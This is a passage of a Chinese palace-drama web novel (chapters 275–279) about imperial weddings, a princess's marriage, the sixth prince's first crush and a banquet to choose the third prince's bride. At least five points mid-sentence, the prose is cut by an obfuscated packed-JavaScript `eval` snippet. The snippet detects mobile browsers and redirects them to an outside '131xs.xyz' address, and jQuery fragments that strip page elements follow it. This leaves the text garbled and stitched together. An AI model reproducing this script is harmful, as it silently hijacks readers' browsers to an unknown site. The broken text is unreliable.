“贵妃娘娘就会揶揄人,感情你们一个个生的都是小子,一点儿都体会不到我这嫁女儿难过的心思。好好的女儿养了十多年了,这说嫁人就嫁人了,你让我这心里怎么好受啊!” 谢修容一边说,一边又觉得心里难过了起来,这会儿便又拿起手中的帕子开始擦起眼泪来。 “你既然这么难过,那就去同圣上说一句,再留皎皎几年不就成了。” 夏韶宁有些好笑地看了谢修容一眼道,“反正皎皎明年也才十七岁,还能再留几年。” “那怎么成?皎皎的驸马可是圣上替她挑了许久的,那谢知远可是今年殿选的探花郎!别看他现在虽然还在翰林院修书,但是圣上说了,这孩子是个有能力的,以后的前途必定不可限量!” “这么好的驸马不要,我脑子又没坏!” 听得夏韶宁这番话,谢修容下意识想要反驳她。只是这反驳的话刚说出口,她自己倒是笑了起来。 “怎么,这说着说着才觉得自己有些矫情了吧?”眼见着谢修容笑了,苏昭容这才慢悠悠的开口了。 “贵妃娘娘您可是不知道,自从圣上下了旨意要让皎皎明年完婚,这谢姐姐的眼睛就没干过。说来说去还是您有办法,就这一句话,还真叫她的眼泪给止住了。” “本宫哪里不知道你舍不得皎皎。她那么大一点儿的时候你就一直悉心地照顾她,如今要嫁人了,别说你了,本宫这个看着她长大的昭母妃都舍不得。” 夏韶宁自顾自地坐到了谢修容的身边,拉起她的手也有些感慨。 “一晃这么多年了,孩子们都长大了。这成婚的成婚,嫁人的嫁人,时间一年年过去,咱们都老了。” “贵妃娘娘说得哪里话,这宫里谁都能说自己老,就您不能说。” 苏昭容看了看眼前的夏韶宁,十多年的时间过去了,她还是那样美丽那样年轻,时光好像总是特别偏爱她。 “好了,别伤感了。本宫今日来带了些贺礼,祝贺你们两个娶儿媳嫁女儿!” 夏韶宁到底还是有些不习惯这般煽情的场面,于是便立刻将话题扯开了。 “早些年圣上赐了本宫好几颗南豫进贡的极品珍珠和北胡进贡的多彩宝石,我就吩咐尚珍局做了四套一模一样的头面。想着到时候咱们三人再加上丽充容娶儿媳和嫁女儿的时候,刚好可以送给女儿和儿媳妇。” “如今两位姐姐先完成了这儿女大事,这两幅头面就算是我这个昭母妃给两个孩子的新婚贺礼。本宫也在这里祝福二皇子和皎皎夫妇新婚快乐,百年好合!” 夏韶宁说完这番话,便见李顺和含秋两人笑嘻嘻地将手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15618584|168161||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 中那重重的托盘交到了苏昭容和谢修容的手上。 两人对视一眼,随即便小心翼翼地将托盘上的盖布掀开,霎时间,一阵耀眼的光芒差点晃花了她们两人的眼睛。 “贵妃娘娘……”苏昭容看了看满脸带笑的夏韶宁,眼眶忍不住就红了起来。 “早些年在潜邸的时候,臣妾与谢姐姐没少找您的麻烦。谁承想到了,咱们三人能处得同亲姐妹一般好。” “过去的事情不提了,这些年你们帮着本宫一起打理这后宫,没有功劳也有苦劳。本宫帮着你们,顾着你们与你们的孩子,都是应该的。” 夏韶宁这话说得其实一点儿都不心虚,这些年来这后宫里纷繁的杂事,若是没有苏昭容与谢修容在一旁帮着她,她可能真的没有那么多时间能用来好好陪伴和教育自己的孩子。 这厢的三人正在亲**说着话,没人发现不远处的仪淑妃,正面无表情地拉着三公主的手站在一旁看着她们。 “母妃,您怎么不过去同昭母妃她们一块儿聊天呢?”如今已经九岁的三公主站在仪淑妃的身边,说话的语气也是喏喏的。 “呵,她们在讨论自己的孩子出嫁和娶媳妇儿的事情,本宫一个未曾生养过自己孩子的人,又有什么资格过去插一嘴?” 仪淑妃有些不耐烦地看了三公主一眼,随即松开她的手道,“你母妃既然把你要回去了,以后若是无事便少来本宫这里。没得你那母妃发起疯来又要跑到圣上面前告状,说本宫抢了她的孩子!” 仪淑妃只要一想到范婕妤那张疯疯癫癫的脸,就没来由地从心里觉得烦躁。 “时雨,扶本宫回宫。”仪淑妃看都没看三公主一眼,转头扶着宫女的手就回宫了。 只留下三公主一个人红着眼睛站在树下,颇有些进退两难的感觉。 “呵,不同人不同命,这都是命啊!罢了,咱们回紫藤阁去吧。”三公主叹了口气,最终还是转过身来带着自己的贴身宫女回宫去了。 第275章 出宫见世面 时间很快就到了光启十五年三月廿六,二皇子与安平公主同时大婚的这一天。 “母妃,夫子们知道今日是二哥和二姐大婚的日子,所以给我们都放了一天假!我能不能跟着送嫁的队伍去二哥和二姐府上热闹一下?” 不过短短半年多的时间,六皇子又窜了不少个子,如今与夏韶宁站在一块儿,已经比她都还要高些了。 “呵,俗话说知子莫若父,陛下,还真被您说中了!” 听得六皇子这带了些请求的话,夏韶宁转过头来对着内殿轻笑了一声,便瞧着萧祈安从里头走了出来。 “朕就知道你这小子忍不住要去凑热闹,所以特意想来同你母妃说一声,今日就让你们兄弟几个都去给你二哥二姐热闹一番!” 萧祈安走到六皇子身边拍了拍他的肩膀,语气里全是了然。 “父皇此话当真,儿臣们都能去吗?” 六皇子今日本还想着若是母妃只许自己一人去,那等他回来再将他看到有趣的事情说给七弟听。没想到父皇居然这么大方,大手一挥让他们兄弟几个一起去了。 “你也别太得意忘形了,宫外到底不比宫里,你自己注意着些。” 看着六皇子一脸激动的样子,夏韶宁还是忍不住笑着嘱咐了他一句。 “无妨,朕派几个侍卫保护他们,不会有事儿的。” 看出了夏韶宁还是有些担心的,萧祈安忙补充了一句。 “父皇母妃放心,儿臣心中有数呢!儿臣这就去了!” 得了父皇与母妃的允许,这会儿的六皇子瞬间开心极了,着急忙慌地对着两人行了一礼,就快步转身离开了。 直到他走了有点距离了,夏韶宁还听得他嘴里对着身边的内侍嘀嘀咕咕道,“咱们快些去找七弟,他若是知道能出宫,一定很开心。” *** 因着大容国公主出嫁是中午,皇子娶亲是晚上,所以六皇子首先就带着七皇子去了安平公主府。 萧祈安已经提前同两边打好招呼了,所以他们两兄弟一路畅通无阻地就走了进去。 “六哥,那个穿着喜服带着大花的,是不是就是二姐的驸马啊?” 刚一入了公主府,六皇子与七皇子倒是不着急去吃席,而是找了个空旷的地方开始观察起周围的人来。 六皇子顺着七皇子的手指看了过去,果然看见一个面貌英俊、气宇轩昂的男子。 那谢知远本在和其他人说话,忽然觉得有人将视线**在自己身上,他转头一看,便看见了两个年纪尚小却气度不凡的男孩。 这时候有人在他耳边耳语了一句,他面色一变,立刻就朝着六皇子和七皇子走了过来。 “下官谢知远拜见六皇子、七皇子。” 谢知远低下头,虽说是给皇子请安,但是语气却是不亢不卑。 “免礼吧。”六皇子对着谢知远摆了摆手,语气显得很平和,“安平公主性子活泼,为人天真善良,以后少不得要麻烦谢大人好好照顾她了。” 说实话,在这所有的兄弟姐妹里,安平公主是对六皇子最好的。 她会把自己舍不得吃的东西统统带给六皇子吃,会在夫子罚他抄书或者罚站的时候偷偷帮他,甚至在夏韶宁生气作势要打他的时候义无反顾地挡在自己的身前。 毫无疑问,安平公主是个好姐姐。 只是大概安平公主一直都生活在谢修容以及宫里其他娘娘们的善意与保护之下,所以久而久之,她的性子也就养得有些天真。 六皇子今日来这安平公主府,凑热闹是一方面,其实最重要的,他还是想要亲眼见一见这位驸马,顺便同他多说几句话。 虽然六皇子的年纪比这谢知远小了不少,但是无论如何,自己的身份在这里。他今日来了这一趟,想来聪明如谢知远,一定明白他的意思。 “六皇子言重了。下官今日既与安平公主大婚,日后自然夫妻一体,公主好才是下官好,下官都明白。” 谢知远看着眼前的六皇子,虽然他的年岁尚小,但是不知为何,谢知远却从他的脸上看出了一丝普通成年人身上都难得一见的威严。 他也不禁在心里想着,这便是宠妃之子的气度吗? 想说的话已经带到了,六 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15624736|168161||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 皇子又将自己准备送给安平公主的新婚礼物交给了公主府的侍女,便带着七皇子离开了。 两人坐上马车,不过一会儿,便来到了二皇子府。 六皇子带着七皇子一下马车,便瞧见二皇子正站在门口同两人摆手呢! “你们……你们两人还真跑出来了,我还以为……你们有所顾虑,今日不来了。” 二皇子今日穿了一身大红色的喜服,就连高高束起的发冠上都带着一抹红。整个人笑得灿烂极了,一副人逢喜事精神爽的样子。 “咦,难不成今日只有我与七弟来了,三哥四哥五哥呢?” 六皇子一开始还对二皇子的这番话感到有些奇怪,不过当他环顾四周也没看见另外三个哥哥的身影的时候,他才明白二皇子为何会说这番话。 想来是以为他们两人也不来了。 “今日是二哥大婚的日子,什么顾虑不顾虑的,弟弟怎么可能不来呢?” 六皇子未必听不出来二皇子这番话中的深意,但是这会儿的他却没想解释那么多。 天家兄弟之间的感情本就淡漠,如今能有那么几个真心实意对待自己的兄弟姐妹,六皇子觉得无需顾忌太多事情。 “进去……去坐。”看着六皇子与七皇子满脸坦然的样子,二皇子的心里不可谓不熨贴。 想来这些年来自己对六弟的好,是值得的。 说话间,二皇子便带着六皇子与七皇子入了院子。因着两人鲜少出宫,所以除了一些在宫中见过他们的大臣,倒是没太多人将他们认出来。 两人倒也乐得清闲,找了个没人坐的座位就坐了下来。 因着这会儿还没到开席的时候,院子里的人并不多,大多数也是互相认识的人正三三两两说着话。 两个半大的小子也不顾忌什么,抓了把瓜子就开始看着观察起周围的人来了。 然而正当六皇子在津津有味地看着旁边那桌的人行酒令的时候,耳边却忽然传来了一阵清脆的女声—— “这个位置是我先坐的,这桌上还放着我的荷包呢!你这个人怎么把我的位置坐了?” 第276章 高山景行 六皇子顺着声音抬起头来,映入眼帘的就是一个双手叉腰,瞪大双眼正盯着自己的小姑娘。 “不好意思,我没看见这桌上的荷包,我以为这里没人坐的。” 因着今日出宫之前夏韶宁千叮万嘱让六皇子万事多注意,所以这会儿的六皇子想都没想就从凳子上站了起来。 他可不想好不容易出一趟宫再和人起争执,到时候被母妃知道了,非骂死他不可。 那小姑娘本来还以为自己少不得要和眼前这个高个子的小子吵一架,谁知道他居然如此痛快地就将位置让了出来,倒是弄得她有些不好意思起来。 “没事儿,反正这一桌也只有我一个人坐,我祖父和崇文馆的那群夫子们坐到一块儿去了,这里也没其他人,你们坐吧。” 那小姑娘自来熟般地朝着六皇子与七皇子摆了摆手,便拿起自己的荷包坐到另外一边去了。 “你说你祖父同崇文馆的夫子们坐到一桌去了,你祖父是谁?”听得这小姑娘的话,一旁的七皇子倒是好奇地问了一句。 “哦,我祖父叫郑之荣,在崇文馆教皇子公主们念书呢。怎么,你们两个认识我祖父吗?” 那小姑娘细细地吃完了一块桂花糕,这才转过头来有些好奇地对着两人问道。 “景瑶,你怎么一个人坐在这里!你在同谁说话呢?”还没等眼前的小姑娘回话,六皇子却感觉身后传来了一阵十分熟悉的声音。 转过头一看,果然瞧见郑夫子正站在后头,满脸吃惊地看着两人。 是的,来者不是别人,就是几年前夏韶宁曾亲自领着六皇子给他道歉的郑夫子郑之荣。 “六皇子与七皇子也来了?”郑夫子看了两人一眼,一把就将正准备吃第二块桂花糕的郑景瑶从凳子上拉了下来,“还不快过来给两位皇子行礼!” “免了免了,今日在宫外,没那么多规矩。”还没等郑景瑶的把手中的桂花糕放下,六皇子忙对着郑夫子摆了摆手。 他有些好奇地盯着眼前的郑景瑶看了一会儿,这才笑着问道,“你叫景瑶?是锦绣前程的锦,瑶林琼树的瑶吗?” “为什么每个人听到我的名字都以为‘景’是锦绣的‘锦’啊?我的‘景’是高山景行的‘景’啊!” 眼前的郑景瑶明显不满六皇子弄错了自己的名字,这会儿的小脸又鼓了起来,也不想行礼了。 “六皇子恕罪,这是微臣最小的孙女,郑景瑶,今年十二岁。她平日里不大出门,所以规矩差了些,六皇子不要介意。” 郑夫子拉了拉郑景瑶的手示意她给六皇子赔罪,但是眼前的小姑娘明显不大愿意。 “无妨的,都是小事。”六皇子压根也没将这种小事放在心里,他只是无所谓地对着郑夫子摆了摆手道,“夫子去同其他夫子们喝酒吧,我与七弟会在这照顾郑姑娘的。” 于是,接下来的时间里,这一桌上的对话就是这样的—— “那道松鼠鳜鱼你吃不吃,不吃推过来让我吃一口!” “你叫什么来着,萧衡昀?我记住了!说起来今年九月我也要去崇文馆念书了,祖父说这是他好不容易才同圣上求来的恩典呢!” “不过其实我一点儿都不想去来着,崇文馆里大部分都是皇子公主,规矩又多,多烦啊!” “不过我今天认识你了,你会罩着我的对吧?咳咳咳……” “诶,郑姑娘,你慢着点,小心鱼刺……” …… 等到六皇子在二皇子府吃完宴席回到承乾宫向夏韶宁报备的时候,已经是戌时正了。 “母妃,我回来了!”一入了院子,六皇子便快步朝着内殿走了进去。 “嗯,回来了就好。把你七弟送回丽母妃宫里去了没有?”这会儿的夏韶宁正窝在贵妃榻上看话本子,见着六皇子回来也没起身,只是随口问了一句。 “送回去了,丽母妃还留着儿臣在她那儿喝了一碗山楂苹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15624737|168161||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 果水,儿臣这才回来晚了些。”六皇子解释道。 “你丽母妃平日里最注重七皇子的身体健康了,想来是怕你们今日在宫外吃了一天的宴席,把脾胃吃坏了。” 说起来这丽充容虽然年纪在她们几人之中是最小的,但是在养生这件事情上倒是比夏韶宁这个懂医术的人还要热衷。 “今日可是给你玩美了吧?怎么,见着你二嫂嫂和二姐夫了没有?”夏韶宁丢了手中的话本子,披着外裳就坐到了六皇子的身边。 “那谢大人我见着了,外貌谈吐都得体,想来是配得上二姐姐的。二嫂嫂我倒是没见着,不过新娘子嘛,哪有那么容易让我们见的。”六皇子不以为意。 “哦对了母妃,父皇不是说了今日允许我们兄弟几人一块儿出宫的吗?可是今日我先去了二姐姐的公主府又去了二哥的皇子府,都没见着三哥四哥五哥。”顿了顿,六皇子便好似想到什么般同夏韶宁说了一句。 “你三哥是个别扭的性子,他同你二哥一样大,你二哥如今都娶皇子妃了,他的皇子妃却还一点儿影都没有。再说他从小到大都自恃身份,哪里能心甘情愿地去给你二哥道喜呢?” “至于你四哥五哥……,想一想也知道,沈充媛是不会让他们去的。”夏韶宁不咸不淡地回了一句。 “都是亲兄弟,做什么搞成这个样子。就算是真的各自有各自的有顾虑,二哥二姐成婚也是大事,父皇都允了,他们怎么也不该不去露个面。” 看着自家母妃一副早就知道的表情,六皇子到底还是撇撇了嘴表示不大赞同。 “罢了,别人的事儿咱们管不着,管好自己的事情就好了。你好不容易出一趟宫,今日有没有遇到什么有意思的事儿?”夏韶宁不着痕迹地就将话题转移开了。 “唔,有意思的事情倒是没遇到,不过遇到了一个有意思的人。”想到郑景瑶那张气鼓鼓的脸,六皇子忽然就笑了起来。 第277章 幸运 九月,夏季的酷暑慢慢消散,金州城渐渐变得凉爽起来。 说起来夏韶宁如今也不算年纪大,但是这性格爱好倒是慢慢变得和以前十几二十岁的时候不一样了。 以往没事儿的时候,她最喜欢自己捣鼓些好吃的,摆弄摆弄花花草草,或者做些好闻的香膏之类的玩一玩。 而自从过了三十岁,她倒是变得不大爱动起来。 萧祈安每回来承乾宫的时候,总瞧见夏韶宁不是歪在摇椅上看话本子,就是躺在贵妃榻上吃东西。时间久了,萧祈安总笑话她活得越来越像只猫儿了。 这日午后,夏韶宁刚用完午膳准备休息,却总是感觉到院子里似乎有猫儿的叫声。 她一开始本来不想管,但奈何那猫儿越叫越响,她才终于不情不愿地起身去寻找这叫声的来源了。 夏韶宁绕着院子找了很久,始终没找到这猫儿叫声的来源。她有些奇怪,随即转了个身打算开门出外头找一找。谁知她刚把承乾宫的大门打开,就瞧见萧祈安抱着一只**色雪白的长毛猫站在她的面前。 “陛下……您怎么在这儿?”夏韶宁看着眼前那个抱着猫满脸不知所措的萧祈安,忍不住笑出了声。 “你还笑!”眼见着夏韶宁笑得开心,萧祈安倒是忍不住瞪了她一眼。 “安庆之前养的那只猫,生了好几窝猫崽子,猫崽子又下了好多猫崽子,闹得整个皇宫里到处都是猫。” 萧祈安也不管夏韶宁依旧捂着嘴在笑他,抱着猫儿就往里头走。 “陛下觉得烦,让人把猫儿抓起来养着不就好了,何必自己去抓呢?” 夏韶宁捂着嘴笑够了,这才跟着萧祈安走了进去。 “谁和你说这只猫儿是朕自己去抓的?”萧祈安瞥了夏韶宁一眼,顺手就将那只猫儿塞进了她的怀里。 “这只猫儿是某天朕去御花园的时候它自己撞到朕脚边的,朕瞧着它胆子怪大的,长得也好看,总觉得和你很像,就吩咐人暂时养着了。” 萧祈安一边说,眼神一边不住地在那只猫儿和夏韶宁的脸上打量着,忍不住点头道,“嗯,和你一样白,和你一样喜欢撒娇。你瞧,这才刚刚到你手上,就开始朝着你露肚皮了。” 听得萧祈安的话,夏韶宁忙低头看了看自己手里的那只猫儿,果然瞧见这小东西已经开始躺在自己怀里露肚皮了。 “你倒是不怕生。”夏韶宁摸了摸那只小猫的肚子,见它不仅不躲,还十分享受地眯起了眼睛,忍不住笑了。 “陛下刚刚说这是安庆公主养的猫儿的后代吗?”顿了顿,夏韶宁的脑海里忽然就出现了那只救过自己一条命的白猫。 “是呢,之前安庆可宝贝那只猫儿了,从潜邸带进宫里。后来那只猫儿年纪大了去世了,她还难过了好一阵。”萧祈安轻声道。 “这只猫儿能撞上陛下,又能被陛下送到臣妾身边来养着,说起来倒是它的幸运呢。” 夏韶宁没接萧祈安的话,只是摸着眼前那只猫儿的**有一搭没一搭地说着话。 “既然这样,臣妾想着不如给它起个名字叫幸运吧。希望能带给咱们所有人一个好运气!” “幸运?宁儿起名字还真是随意啊!不过这名字好,听得人心情都好。”萧祈安嘴上虽然吐槽,但是心里还是很满意的。 “李顺,你去找些人给幸运搭个猫窝,在屋子里给它找个暖和的地方让它睡觉。猫儿喜欢温暖的地方,别冻着它了。” 夏韶宁又摸了摸幸运的小脑袋,随即转头小心翼翼地将它交给了李顺。 “娘娘放心,奴才小时候在老家养过猫呢,搭窝这种事儿哪儿用麻烦别人,奴才一个人就能搭好!” 李顺接过幸运,笑嘻嘻地朝着夏韶宁回了一句,便带着幸运退了出去。 “对了,前段时间安庆回了一趟宫里,她来拜见过你没有?” 提起安庆公主,萧祈安忽然想起上个月她曾经回了一趟宫里,这才想起询问夏韶宁安庆公主是否来拜见过她。 “安庆公 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15631355|168161||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 主的脾气陛下还不知道吗?她出嫁前就那么讨厌臣妾了,哪儿会来拜见臣妾呢?”听得萧祈安的话,夏韶宁无所谓地摆了摆手,“反正臣妾也不是她的亲生母亲,无碍的。” “呵,你也不是安平的亲生母亲,怎么她回宫都知道来拜见你?”萧祈安冷哼一声,“出嫁都三年了,好容易从青州回金州一趟。入宫了连基本礼仪都不懂,朕瞧着她是越活越回去了!” “儿孙自有儿孙福,陛下消消气。” 其实夏韶宁对于安庆公主有没有来拜见她这件事情一点儿都不在意,只是瞧着萧祈安如此生气,好歹还是出声安慰了他一句。 “说起来,如今能牵着安庆心的也就只剩三皇子了。”提起这件事,萧祈安还是有些无奈,“本来皇子过了十六就该出宫开府了,但是三皇子一直以自己没有大婚为由不愿搬出去。为着这件事,安庆这次回宫又和朕吵了一架,话里话外全是朕不够重视三皇子,真是不够让人心烦的。” “说起来也是呢,二皇子与三皇子一样大,臣妾听苏姐姐说,二皇子妃上月都诊出身孕了。这三皇子一直拖着不成婚,好像的确不大好。”夏韶宁如今倒不是帮着三皇子说话,只是就事论事而已。 “哪里是朕不让他成婚呢?这不是朕给他挑了好几个女子,他都不满意吗?拖着拖着,这不就耽误了。”萧祈安一边说,一边不自觉地叹了一口气,“这些个孩子个个都像是来向朕讨债的,没一个让人省心的。” “要不然,臣妾吩咐殿中省过段时间筹备个秋日宴,邀请一些世家中适龄的小姐们入宫来赴个宴。” “咱们大容民风也不算保守,不如到时候就让三皇子带着几个弟弟妹妹们也一块儿来赴个宴,也好让他自己看看,有没有中意的女子呢?” 思索了好一会儿,夏韶宁这才想出了个折中的法子。 “难为宁儿还肯为他的事情操心。”听得夏韶宁的话,萧祈安这才略有些欣慰的点了点头。 第278章 秋日宴 其实萧祈安对于三皇子的皇子妃,是有自己的想法的。 因着怕夏韶宁在秋日宴的时候搞不清状况,所以在宴会开始之前,萧祈安提前将自己的想法告诉了夏韶宁。 “怡国公的孙女?”听得萧祈安提起这个人,夏韶宁在脑子里想了好一会儿,才想起怡国公是哪一家。 怡国公梁家,隶属于高祖皇帝梁皇后母家那一支。 说实话这梁家之所以能得封国公,其实与他们的功勋一点儿关系都没有,完全是因为他们家里出了个得高祖皇帝宠爱的梁皇后。 因为高祖皇帝实在太宠爱梁皇后了,又害怕自己走了以后梁皇后的母家会落魄,所以就给了梁家一个可以**罔替的国公爵位。 只不过随着大容国一代代皇帝更替下来,这梁家也就只占了个怡国公的空头爵位罢了。因为六部以及其他重要的部门,没有一个官员是出自梁家的。 说白了到了如今萧祈安掌权,这怡国公府在大容的世家中,不过就是个资历深厚的吉祥物罢了。 “老三性子别扭,实在不适合参与到大容的政务中来。但是他又是孝端皇后唯一的儿子,若是朕给他指一个家世过低的女子当皇子妃,难免被前朝那些言官诟病。” “所以朕想来想去,怡国公府这种空有爵位名头却没有任何实权家的女儿,给老三当皇子妃正好。” 萧祈**着夏韶宁的手,一点一点地给她分析着。 “难为陛下考虑得这么远。”虽然有些话萧祈安没有明说,但是夏韶宁却已经明白了。 萧祈安之所以不给三皇子找一个母家有背景的皇子妃,就是提防着以后三皇子会借着外戚的势力打压六皇子。 先不谈六皇子以后有没有能力能应付这件事情,萧祈安这种完美主义者就不会允许这个苗头存在。 所以最好的办法就是——将所有可能威胁到六皇子的人或者事,全部都扼杀在摇篮里。 “臣妾到时候会吩咐殿中省把那梁姑娘的位置安排在最显眼的地方,尽量同三皇子靠得近一些。其他世家的女子们,也尽量挑一些母家官职不太高的。” 无需萧祈安嘱咐什么,夏韶宁自然会将一切安排好。 “宁儿办事,朕从来放心。”萧祈安点了点头,不甚在意。 这便是一个成熟的帝王和一个已经被宠了将近二十年,却仍旧在后宫中手握大权、风光无限的贵妃之间的默契。 *** 时间很快就到了秋日宴这一天。 殿中省将这场秋日宴安排在御花园中风景优美的澄瑞亭。 因着这次秋日宴的名头是后宫妃子们邀请世家小姐进宫来品茗赏花,所以夏韶宁便做主将九嫔以上的宫妃都邀请着去了。 当然,还有三皇子以及一众皇子公主们。 夏韶宁领着一众宫门们坐定了,便见着七八位衣着鲜亮的年轻女子们走上前来向她们行起礼来。 “臣女给昭贵妃娘娘请安,给各位娘娘请安。” 夏韶宁摇了摇手中的扇子,随即对着下首的年轻女子们摆了摆手,“都起来吧。” “秋色尚好,本宫便想着邀请各位小姐们进宫来赏花品茗,各位小姐不必拘礼,自在些便好。” 这会儿的夏韶宁笑得和气,对着这些小姐们说话的语气也很亲切,倒是让下首那七八名还有些紧张的女子们渐渐放松了下来。 “给昭母妃/母妃请安。” 夏韶宁话音刚落,便见三皇子等一众皇子朝着这边走了过来。她嘴角翘了翘,立刻笑脸盈盈道,“这不赶巧了,皇子公主们也来了。刚好你们都是年轻人,想来肯定有话题,那便好好聊一聊吧。” 果然,夏韶宁这话说完,那群女子们便有些不好意思地往皇子们这边看了过来。 其实这秋日宴的名头是赏花,但是今日来的这群小姐们又怎么会不知道,这场宴会说白了就是给三皇子挑选皇子妃的。 在这群女子中,怡国公府的梁雅君家世是最高的,所以这会儿子她正满脸娇羞地偷偷往三皇子那边看呢。 而其他女子也并没有因为自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15631356|168161||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 己的家世不高就感到泄气,毕竟除了三皇子,底下还有已经十五岁的四皇子与五皇子。万一她们今日随便被哪位皇子看上了,正妃当不成,怎么的侧妃或者庶妃,还是能指望一下的吧? “你们两个就别去凑热闹了。”看着六皇子与七皇子也满脸跃跃欲试的样子,夏韶宁抬手就将两人拉了回来。 “你俩今年一个十二一个十三,往上凑个啥?” “啊,母妃不是说让儿臣们和这些小姐们一道品茗赏花作诗吗?难不成年纪小就不带我们一块儿玩了?” 六皇子有些不解的看了夏韶宁一眼,面上有些不服气。 “哈哈哈哈,六皇子怎么还看不明白呢,今日这场赏花宴,是给你三哥选皇子妃呢!” 看着六皇子还想带着七皇子往前头凑,谢修容才忍不住一边笑一边对他说出了实话,“你三哥今年十七了,四哥五哥也十五了,眨个眼就得出宫建府大婚了。你们两个还小,不急,就别去凑这个热闹了。” “哦,原来如此。”听得谢修容的话,六皇子这才后自后觉地明白了过来。不知为何,听得谢修容提起大婚这两个字,他的脑海中忽然就出现了一个脸圆圆的,眼睛也圆圆的身影,瞬间就脸红了。 “六哥你是不是生病了?怎么好端端的脸这么红?” 七皇子瞥了一眼六皇子,忽然发现他的脸红了起来。于是急忙伸出手在他的额头上摸了摸,随即又有些疑惑地摸了摸自己的额头,这才喃喃道,“也没发热啊,怎么脸这么红?” “哎呀去你的吧,没事儿乱摸个啥?”感受到了自己的额头上忽然多了一只手,六皇子一下子就将七皇子的手推开了,“你不是说要去千里湖边看前段时间从江州运来的红尾锦鲤吗?还在这磨蹭个啥?去晚了等会儿那锦鲤全藏到水底去了,你一只都别想看着了!” 眼见着六皇子逃似地往千里湖边跑去,七皇子也顾不上其他了,只得一边在后头追着他一边喊着,“六哥等等我!你别跑那么快嘛!” 第279章 又出意外 看着六皇子与七皇子一前一后地跑开了,坐在一旁的丽充容满脸都是无奈。 “知道的,说咱们七皇子性子单纯不拘小节。不知道的,还以为这孩子是个傻子。” 丽充容看了夏韶宁一眼,语气里都是羡慕,“什么时候七皇子能像六皇子那么懂事就好了。” “懂事?本宫倒是瞧着这孩子似乎懂事的有些早了。” 想起上一次二皇子大婚那日六皇子回宫以后兴冲冲地对自己说起了那个叫郑景瑶的女孩,夏韶宁心中是既欣慰又有些无奈。 欣慰的是养了这么多年的小子也算是情窦初开了,无奈的是……听他的语气人家小姑娘还小着呢,好像根本没这方面的想法。 不过说起来,这两个孩子年纪都小,倒是也不急。 若是昀儿以后能找到一个自己喜欢,又是青梅竹马一块儿长大的女子当皇子妃,那当然再好不过了的事情了。只是如果那郑家或者是这郑姑娘并没有这种想法,那还是趁早找个机会让这小子断了这方面的想法才好。 毕竟那郑家也算是文臣清流世家了,这种家庭,未必愿意自己家中的女子与皇子有所牵扯。 夏韶宁这辈子是从来没体会过所谓爱情的滋味了,但是她还是希望她的孩子能够好好体会一下。 这样的人生,才算完整,不是吗? “说起来今日是给三皇子选皇子妃,这沈充媛倒是将四皇子五皇子盯得紧紧的。” 夏韶宁刚将那郑景瑶的事情想明白,便听得耳边传来苏昭容那略带嘲讽的声音。她说着苏昭容说的方向看过去,果然瞧见沈充媛一脸紧张地盯着正在同两个年轻小姐们聊天的四皇子与五皇子。 因为距离有些远,夏韶宁只能隐隐看见四皇子举手投足之间倒是进退有度,五皇子却正抓耳挠腮不知道在同他面前的小姐说些什么,样子显得有些窘迫。 “沈充媛日日将她这对双胞胎儿子看得比自己的眼珠子还重,关心些是应该的。”夏韶宁将眼光收回来,不以为意道,“只是这两兄弟虽为双生子,但是性子脾气却完全不同,也的确让人觉得有些匪夷所思了。” 